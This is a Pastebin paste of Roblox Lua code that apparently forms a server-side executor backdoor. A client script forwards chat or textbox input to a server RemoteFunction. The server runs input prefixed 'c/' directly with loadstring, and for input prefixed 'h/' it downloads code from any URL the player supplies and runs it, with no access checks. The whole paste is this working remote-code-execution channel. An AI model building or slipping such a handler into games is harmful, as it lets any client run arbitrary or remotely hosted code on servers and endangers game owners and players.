Advertisement
Guest User

Untitled

a guest
Jul 24th, 2019
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.92 KB | None | 0 0
  1. wait(0.75)
  2. local TextBox = script.Parent
  3. function SendCheck(input)
  4.     TextBox.Text = ""
  5.     game.ReplicatedStorage:WaitForChild("CheckFunction"):InvokeServer(input)
  6. end
  7. game.Players.LocalPlayer.Chatted:Connect(SendCheck)
  8. TextBox.FocusLost:Connect(function(PressedEnter)
  9.     if PressedEnter then
  10.         SendCheck(TextBox.Text)
  11.     end
  12. end)
  13.  
  14. -- Remote Function
  15.  
  16. wait(0.75)
  17. local httpService = game:GetService("HttpService")
  18. function Check(plr,input)
  19.     if string.lower(input:sub(1,2)) == "c/" then
  20.         local Script = input:sub(3)
  21.         local ScriptModify = string.gsub(Script,"owner","game.Players." .. plr.Name)
  22.         loadstring(ScriptModify)()
  23.     elseif string.lower(input:sub(1,2)) == "h/" then
  24.         local Script = httpService:GetAsync(input:sub(3),true)
  25.         local ScriptModify = string.gsub(Script,"owner","game.Players." .. plr.Name)
  26.         loadstring(ScriptModify)()
  27.     end
  28. end
  29. game.ReplicatedStorage:WaitForChild("CheckFunction").OnServerInvoke = Check
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement